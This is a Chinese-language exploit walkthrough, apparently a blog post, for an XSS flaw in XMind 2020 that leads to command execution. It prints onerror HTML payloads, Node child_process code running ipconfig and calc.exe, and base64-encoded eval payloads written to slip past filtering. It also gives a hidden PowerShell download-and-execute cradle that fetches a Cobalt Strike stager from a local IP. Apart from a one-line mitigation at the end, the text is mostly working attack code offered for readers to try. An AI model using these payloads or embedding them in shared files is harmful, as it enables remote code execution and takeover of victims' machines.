一.前言
漏洞危害:可以花样构造相关参数,执行系统命令,获取用户权限,攻击者可以借助该漏洞实现命令执行,在实际环境中借助钓鱼攻击可能造成更严重的危害,我看网上相关复现文章都贴着这句话,其实也就是这样的,XMind xss漏洞的确可以被利用执行一些像弹窗,执行命令(经典ipconfig命令,弹计算器),以及配合cs的使用,如果真的有有心人去利用这个漏洞的话,也是很容易中招的。下面放上下载地址。
下载地址下载XMind 2020版本
二.漏洞利用
1.xss弹窗
- 创建
- 写入命令
在思维导图红色部分(不止红色部分,后面的分支主题1,2,3都可以)
<img src=x onerror=alert("qwer")>
<audio src=x onerror=alert("qwer")>
好像只有这类标签的弹窗才行,其余还是有被过滤的
3. 执行
在大纲中选中命令,按任意一个功能键(如:Ctrl,Alt,Ctrl+C等等)
必须选中最后的>
符号,其余的可选可不选。
2.命令执行
(1)ipconfig
利用命令:
const tenet = require('child_process')tenet.exec('ipconfig /all',(error, stdout, stderr)=>{alert(`stdout: ${stdout}`);});
整体语句:
<img src=x onerror='eval(new Buffer(const tenet = require('child_process')tenet.exec('ipconfig /all',(error, stdout, stderr)=>{alert(`stdout: ${stdout}`);});))'>
但是直接贴上去的话
还是稍有防护的,需要进行base64加密
emmmm,虽然编码有点问题,但还是能看到一些关键信息的,这里Buffer后网上都说要加一个空格否则会出错,其实出问题的话和这里应该是没关系的(Buffer起到绕过作用)。
(2)弹计算器
利用命令:
require('child_process').exec('calc.exe',(error, stdout, stderr)=>{alert(stdout: ${stdout});});
最终命令:
<img src=x onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMuZXhlJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+e2FsZXJ0KGBzdGRvdXQ6ICR7c3Rkb3V0fWApO30pOw==`,`base64`).toString())'>
3.结合cs
这里我一直连接不上可能是我连接的姿势还是有点问题,先把方法步骤丢到这里,以后发现问题了再回来更改吧
- 打开cs监听器
- powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.__.__:8080/a'))"
- 利用语句:
const tenet = require('child_process')
tenet.exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.__.__:8080/a\'))"',(error, stdout, stderr)=>{
alert(`stdout: ${stdout}`);
});
base64编码(有删掉的地方,不能复制了,这里要注意添加两个\
,如图):
Y29uc3QgdGVuZXQgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykKdGVuZXQuZXhlYygncG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgIklFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoXCdodHRwOi8vMTkyLjE2OC42NC4xMzA6ODA4MC9hXCcpKSInLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0Z
最终语句:
<img src=x onerror='eval(new Buffer(`Y29uc3QgdGVuZXQgPSByZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykKdGVuZXQuZXhlYygncG93ZXJzaGVsbC5leGUgLW5vcCAtdyBoaWRkZW4gLWMgIklFWCAoKG5ldy1vYmplY3QgbmV0LndlYmNsaWVudCkuZG93bmxvYWRzdHJpbmcoXCdodHRwOi8vMTkyLjE2OC42NC4xMzA6ODA4MC9hXCcpKSInLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0Z`,`base64`).toString())'>
执行后我还是没法上线(应该是我cs使用的问题),大家可以试一试。
三.防范
我选择不使用,如果必须得使用的话还是更新一下版本比较好,也不要随便接受别人发过来的XMind思维导图